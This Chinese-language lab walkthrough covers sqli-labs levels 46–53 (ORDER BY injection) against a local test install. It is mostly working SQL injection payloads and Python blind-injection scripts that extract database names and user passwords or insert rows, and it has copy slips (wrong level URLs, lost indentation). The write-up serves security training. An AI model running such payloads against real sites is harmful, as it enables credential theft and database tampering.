前言
这几关涉及order by注入,与之前的常规注入不同的地方就在于我们所传的值是在后台代码中的order by之后,而不是在语句的’where id=’之后。
Less-46
页面提示:Please input parameter as SORT with numeric value
也就是我们传的不再是id值了,而是sort值,查看后台源码:
发现我们所传入的值会被置于order by的后面,根据sql语句中order by的语法我们可以知道当sort=1时,会对users这个表的第一列数据进行排序,而sort=2则是对第二列数据进行排序,当sort所传的值大于表所含数据时则会报错(具体的操作就不展示出来了)。
所以直接在sort=1后接上一个extractvalue报错注入语句即可实现查询:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,database()))
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1 and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))
刚才我们是通过后台源码得知是order by注入的,如何通过黑盒测试得知呢?可以利用order by的asc与desc规定,前者是正向排序而后者是反向排序,也即构造payload:
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1+asc
http://127.0.0.1/sqli-labs-master/Less-46/?sort=1+desc
如果两个结果刚好排序相反,那么就可以确定存在order by注入了。
Less-47
根据asc与desc得出存在order by注入,然后再根据闭合报错语句,推测出是单引号闭合。因此payload:
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,database()))--+
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))--+
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)))--+
http://127.0.0.1/sqli-labs-master/Less-47/?sort=1' and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)))--+
Less-48
这一关仍然是order by注入,但是没有给出闭合报错语句,只能进行盲注了,直接后面加布尔盲注语句会出错,所以要使用一个rand()来辅助。这里主要利用的是rand(True)和rand(False)回显是不同的结果。
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-48/?sort=rand(ord(substr(database(),{},1))={})--+"
result =""
for i in range(1,10):
for j in range(23,127):
payload = url.format(i,j)
r = requests.get(payload)
if "<td>genious</td></tr></font></table>" in r.text:
result += chr(j)
print result
break;
Less-49
与上一关相同仍然是关闭了报错语句,无论注入成功与否页面显示都是相同的,用时间盲注:
import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-48/?sort=1 and if(ord(substr(database(),{},1))={},sleep(5),1)"
result = ''
for i in range(1,10):
for j in range(23,127):
payload = url.format(i,j)
time1 = time.time()
r = requests.get(payload)
time2 = time.time()
time3 = time2 - time1
if time3 > 4:
result += chr(j)
print result
break
Less-50
查看后台代码发现使用了mysqli_multi_query函数,使用可以用堆叠注入:
127.0.0.1/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password)values('100','test','TEST')#
Less-51
与上一关原理相同,使用了单引号闭合:
127.0.0.1/sqli-labs-master/Less-50/?sort=1;insert into users(id,username,password)values('100','test','TEST')#
Less-52
关闭了报错语句。但是并没有影响我们所以堆叠注入:
127.0.0.1/sqli-labs-master/Less-52/?sort=1;insert into users(id,username,password)values('100','test','TEST')#
Less-53
仍然是关闭了报错语句,而且是单引号闭合,使用堆叠注入:
127.0.0.1/sqli-labs-master/Less-53/?sort=1;insert into users(id,username,password)values('100','test','TEST')#